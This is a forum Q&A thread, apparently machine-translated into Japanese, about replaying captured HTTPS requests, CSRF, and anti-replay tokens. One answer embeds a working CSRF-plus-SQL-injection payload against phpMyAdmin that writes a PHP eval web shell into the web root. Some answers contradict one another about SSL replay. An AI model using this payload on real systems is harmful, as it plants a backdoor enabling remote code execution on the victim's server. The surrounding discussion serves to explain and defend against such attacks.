HTTPSリクエストに対するリプレイ攻撃
セキュリティテスターがプロキシ（Fiddlerなど）を使用し、管理者の資格情報を使用してHTTPSリクエストを記録するとします-リクエスト全体（セッションと認証Cookieを含む）の再生時に、セキュリティテスターはトランザクションを正常に（再）記録できます。これはCSRFの脆弱性の兆候であると主張しています。
悪意のあるユーザーはHTTPSリクエストを傍受して再生するために何をする必要がありますか？これは、スクリプトキディ、十分な資金のある軍事ハッキングチーム、または時間旅行のエイリアンテクノロジーにとっての課題ですか？ユーザーのSSLセッションを記録し、チケットが期限切れになる前に再生するのは本当に簡単ですか？
現在、アプリケーションのコードはHTTP GETで興味深いことを行っていません。そのため、私の知る限り、管理者をだましてリンクをクリックさせたり、悪意のあるURLを含む画像を読み込んだりすることは問題ではありません。
HTTPSは再生できません。ハンドシェイクシーケンスの最初のサーバー応答には、サーバーが選択した乱数が含まれます。
Fiddlerが行うのはプロキシーとして機能することです。つまり、ブラウザーの要求をインターセプトし、サーバーへの同一の要求を生成します。つまり、プレーンテキストにアクセスでき、これが再生されます。ブラウザーは、証明書がFiddler-"DO_NOT_TRUST_FiddlerRoot"からのものであることを通知することでこれを知らせます。これは、証明書の不一致を無視してメッセージを送信する前に同意する必要があります。
あなたが説明しているのはCSRFの脆弱性ではありません。 HTTPSは、生の暗号テキストのリプレイ攻撃を特に防ぎ、攻撃者がリクエストの内容を知るのを防ぎます。
HTTPSはCSRFを防御しないことに注意してください。攻撃者がGET/POST変数が何であるかを知っている場合、ターゲットによって実行されると攻撃者が望むアクションを実行する悪意のあるhtmlを構築できます。 Webアプリケーションが公開されておらず、攻撃者がHTTPリクエストがどのように見えるかを知らない場合、攻撃者はリクエストを偽造することができません。たとえば、これは CSRFエクスプロイト です。phpMyAdminに対して書いたものです。このエクスプロイトをhttpsで動作するように変更しましたが、URLをhttp：//からhttps：//に変更するだけで済みました。
<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
このエクスプロイトは、mysqlの「into outfile」を使用してバックドアをドロップします。 GETリクエストを偽造しているため、スクリプトは動作せず、ブラウザは手遅れになるまで画像を認識します。
SSL（これはまだ公開されていないことが示されています）または認証Cookie（アプリケーション固有）の単なる再生を意味しているのですか？前者は、個人的に発見されたSSLの脆弱な脆弱性を示します（これを修正できない可能性が高いと私は付け加えます）。後者、つまり任意のマシンが以前に確立された認証済みセッションにCookieを提供できる場合は、アプリケーションの潜在的に悪用可能なCSRFの脆弱性を示しているので、これに対処する必要があります。
SSLトラフィックは一般に、MTM攻撃を介してスニッフィングすることは不可能であると考えられていますが（昨年11月に公開された脆弱性に対して是正措置を講じたと仮定した場合）、ユーザーのリモートコンピューターに保存されたCookieは傍受の影響を受けません（特にサイトまたはサイトと同じドメインのサイトにXSSの脆弱性があります）。このようなクロスドメイン/ 2脆弱性の悪用はますます一般的になり、厳密なセキュリティの観点から、アプリケーションから直接ではなくても、脆弱性が悪用される可能性があります。
-編集：注、SSLがリプレイアタックを処理しないことについては、以下のように間違っています。トークンアプローチを実装することはまだ良いです。
ブラウザに戻ってボタンをもう一度押すだけで、HTTPSリクエストを「再生」することを検討してください。
つまり、SSLリクエストを再送信するために何もデコードする必要はありません。途中のノードはそれを行うことができます（トラフィックを見ることができません）。
したがって、100ドルを送信するSSLトランザクションをキャプチャすると、それをキャプチャして再送できるため、お金を稼ぐことができます。
これに対する明白な解決策（よくある典型的な解決策）は、HTMLページでトークンを生成し、セッションで同じ値を保持することです。リクエストが届いたら、この値をチェックして、それがcurrentの値であることを確認し、そうである場合は、処理して、-そして現在の値を変更にします。
現在の値でない場合（つまり、「元の」リクエストを処理した後の古い値の場合）、ページが再送信されたことがわかります。
これは、クレジットカードの詳細の重複送信などを防ぐための一般的なアプローチですが、一意のリクエストを各レスポンスに一致させるというセキュリティ上の利点もあります。 SSLを破棄できないチェーン内の攻撃者は、これを通過できません。
SSL V2は完全に脆弱であり、有効にしないでください。
http://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet